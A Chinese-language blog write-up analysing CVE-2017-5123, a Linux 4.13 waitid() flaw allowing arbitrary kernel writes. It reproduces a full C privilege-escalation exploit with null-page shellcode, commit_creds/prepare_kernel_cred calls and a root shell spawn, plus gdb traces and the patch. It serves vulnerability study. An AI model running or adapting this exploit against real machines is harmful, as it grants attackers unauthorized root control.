Chris Salls发现在linux kernel v4.13版本中waitid()系统调用被修改了,并且没有检测参数是否指向用户空间,使得拥有本地用户的攻击者直接操作内核层地址,可能导致提权行为。

修改细节如下

相关的知识

####(1) upervisor Mode Access Prevention – CONFIG_X86_SMAP

SMAP(Supervisor Mode Access Prevention)是Intel从Haswell微架构开始引入的一种新特征,它在CR4寄存器上引入一个新标志位SMAP,如果这个标志为1,内核访问用户进程的地址空间时就会触发一个页错误,目的是为了防止内核因为自身错误意外访问用户空间,这样就可以避免一些内核漏洞所导致的安全问题.但是由于内核在有些时候仍然需要访问用户空间,因此intel提供了两条指令STAC和CLAC用于临时打开/关闭这个功能,反复使用STAC和CLAC会带来一些轻微的性能损失,但考虑到增加的安全性,还是建议开启.

而跟踪到user_access_begin();的定义为:

#define user_access_begin()	__uaccess_begin()
	--> #define __uaccess_begin() stac()
		--> alternative("", __stringify(__ASM_STAC), X86_FEATURE_SMAP);

所以user_access_begin()和user_access_end()分别对应到stac和clac,为了在这里内核可以访问用户空间

####(2)rawmemchr函数

rawmemchr用于查找某块内存中的一个字符,函数原型:

void *rawmemchr(const void *s, int c);

返回值:如果找到返回指向字符的指针,如果没找到,返回结果未详细说明

(3)waitid 系统调用

waitid系统调用,暂停当前进程的执行,直到由pid参数指定的子进程已更改状态。

定义:int waitid(idtype_t idtype, id_t id, siginfo_t * infop , int options );
waitid(P_PID, pid, ptr, WEXITED WSTOPPED WCONTINUED);
P_PID:等待进程标识符匹配标识的子进程
WEXITD:等待已经终止的进程
WSTOPPED:等待因交付信号而停止的子进程
WCONTINUED:等待(先前停止的)已通过交付SIGCONT恢复的子进程

漏洞分析

漏洞成因: waitid没有检验infop是指向内核地址还是用户空间,所以我们可以覆写任意可写的内核地址。所以这里存在一个任意写的漏洞,那么要如何利用这个漏洞来提权呢?

该exploit通过覆写.BSS的have_canfork_callback变量,会导致内核一个空指针引用异常。而Linux系统提供了一个系统调用mmap, 可以通过建立匿名映射配合MAP_FIXED标志将用户空间代码映射到内存0地址。

所以可以利用空指针引用来进行攻击,首先申请零地址开始的一段内存来存放shellcode,然后引发内核的一个空指针引用错误,这时内核eip会停止在0x0处,进而运行之前填充的shellcode,达到提权的目的。

waitid系统调用源码:

分析过程

下断点: b SYSC_waitid

刚进入waitid系统调用时,0xffffffff83a1be6c对应的就是

继续单步汇编执行,可以发现变化的地方:

设置内存断点:watch (int)0x0000000,实际调试过程中,虽然显示获得了root权限,但是并没有看到程序跳转到零地址去执行shellcode。与预想不太一样,反而获得root权限后,出现空指针异常,这部分原因由于时间关系没有细究,本篇博客权当一次调试过程记录,无法得出有效的结论。

在调试过程中会依次调用以下几个系统调用,讲道理应该在clone后触发空指针异常,跳转到零地址执行shellcode,然而调试中并没有看到这一点就提权了,让人很疑惑。

0x38=56,系统调用clone

0x66=102 系统调用getuid –> if (getuid() == 0){

0x1 = 1 系统调用write –> printf(“[+] Root shell success !! :)\n”);

零地址上部署了shellcode:

0x0000000000400afb为get_root函数的地址,查看汇编代码

(gdb) x/30i 0x0000000000400afb
   0x400afb:    push   %rbp
   0x400afc:    mov    %rsp,%rbp
   0x400aff:    push   %rbx
   0x400b00:    sub    $0x8,%rsp
   0x400b04:    mov    0x2b6b55(%rip),%rax        # 0x6b7660
   0x400b0b:    test   %rax,%rax
   0x400b0e:    je     0x400b36
   0x400b10:    mov    0x2b6b51(%rip),%rax        # 0x6b7668
   0x400b17:    test   %rax,%rax
   0x400b1a:    je     0x400b36
   0x400b1c:    mov    0x2b6b3d(%rip),%rbx        # 0x6b7660
   0x400b23:    mov    0x2b6b3e(%rip),%rax        # 0x6b7668
   0x400b2a:    mov    $0x0,%edi                  # 参数0
   0x400b2f:    callq  *%rax                      # 调用prepare_kernel_cred函数
   0x400b31:    mov    %rax,%rdi                  # 保存调用结果
   0x400b34:    callq  *%rbx                      # 调用 commit_creds函数
   0x400b36:    nop
   0x400b37:    add    $0x8,%rsp
   0x400b3b:    pop    %rbx
   0x400b3c:    pop    %rbp
   0x400b3d:    retq   

exploit_null_ptr_deref.c

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <string.h>

struct cred;
struct task_struct;
 
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
 
prepare_kernel_cred_t   prepare_kernel_cred;
commit_creds_t    commit_creds;
 
void get_shell() {
  char *argv[] = {"/bin/sh", NULL};
 
  if (getuid() == 0){
    printf("[+] Root shell success !! :)\n");
    execve("/bin/sh", argv, NULL);
  }
  printf("[-] failed to get root shell :(\n");
}
 
void get_root() {
  if (commit_creds && prepare_kernel_cred)
    commit_creds(prepare_kernel_cred(0));
}
 
unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret = 0;
 
  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    printf("[-] Failed to open /proc/kallsyms\n");
    exit(-1);
  }
  printf("[+] Find %s...\n", name);
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      printf("[+] Found %s at %lx\n", name, addr);
      return addr;
    }
  }
  fclose(f);
  return 0;
}

int main(int ac, char **av)
{
	if (ac != 2) {
		printf("./exploit kernel_offset\n");
		printf("exemple = 0xffffffff83a1be6c");
		return EXIT_FAILURE;
	}

	// 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions
	prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
	commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
	// have_canfork_callback offset <= rendre dynamique aussi
	
	pid_t     pid;
	/* siginfo_t info; */

	// 1 - Mapper la mmoire  l'adresse 0x0000000000000000
	printf("[+] Try to allocat 0x00000000...\n");
	if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
		printf("[-] Failed to allocat 0x00000000\n");
		return -1;
	}
	printf("[+] Allocation success !\n");
	/* memset(0, 0xcc, 4096); */
/*
movq rax, 0xffffffff83a1be6c
movq [rax], 0
mov rax, 0x4242424242424242
call rax
xor rax, rax
ret
replace 0x4242424242424242 by get_root
https://defuse.ca/online-x86-assembler.htm#disassembly
	 */
	unsigned char shellcode[] = 
	{ 0x48, 0xC7, 0xC0, 0x6C, 0xBE, 0xA1, 0x83, 0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 };
	void **get_root_offset = rawmemchr(shellcode, 0x42);
	(*get_root_offset) = get_root;

	memcpy(0, shellcode, sizeof(shellcode));
	/* strcpy(0, "\x48\x31\xC0\xC3"); // xor rax, rax; ret */

	if(-1 == (pid = fork())) {
		perror("fork()");
		return EXIT_FAILURE;
	}

	if(pid == 0) {
		_exit(0xDEADBEEF);
		perror("son");
		return EXIT_FAILURE;
	}

	siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);
	waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);

// TRIGGER
	pid = fork();
	printf("fork_ret = %d\n", pid);	
	if (pid > 0)
		get_shell();
	return EXIT_SUCCESS;
}

github 上给的镜像为linux 4.14.0,能够运行成功,获得root而不崩溃,但不能调试。所以我改成上述的针对linux 4.13.0版本的,能调试和获取root权限,但是会崩溃。

补丁分析

补丁:

access_ok 用于检查用户空间的内存块是否可用
access_ok() 函数是用来代替老版本的 verify_area() 函数的。它的作用也是检查用户空间指针是否可用

函数原型:
access_ok (type, addr, size);

变量说明:
type   :   访问类型,其值可为 VERIFY_READ 或者 VERIFY_WRITE 。注意,VERIFY_WRITE 是 VERIFY_READ 的超集 -- 如果可以安全的写内存块,那么自然也总能读到内存块。

addr  :   用户空间的指针变量,其指向一个要检查的内存块开始处。

size   :   要检查内存块的大小。

返回值:
此函数检查用户空间中的内存块是否可用。如果可用,则返回真(非0值),否则返回假 (0) 。

所以如果这里传入的是一个infop里存的是内核地址,那么就无法通过校验,无法触发漏洞。

运行结果

可以看到成功获得root权限,但是继续执行命令就会报空指针异常:

参考链接[3]中还提出利用该漏洞可以造成信息泄露,并关闭selinux机制,可以在linux 4.13.0中运行成功:

参考链接

[1] https://github.com/nongiach/CVE/tree/master/CVE-2017-5123

[2] http://seclists.org/oss-sec/2017/q4/78

[3] http://www.openwall.com/lists/oss-security/2017/10/25/2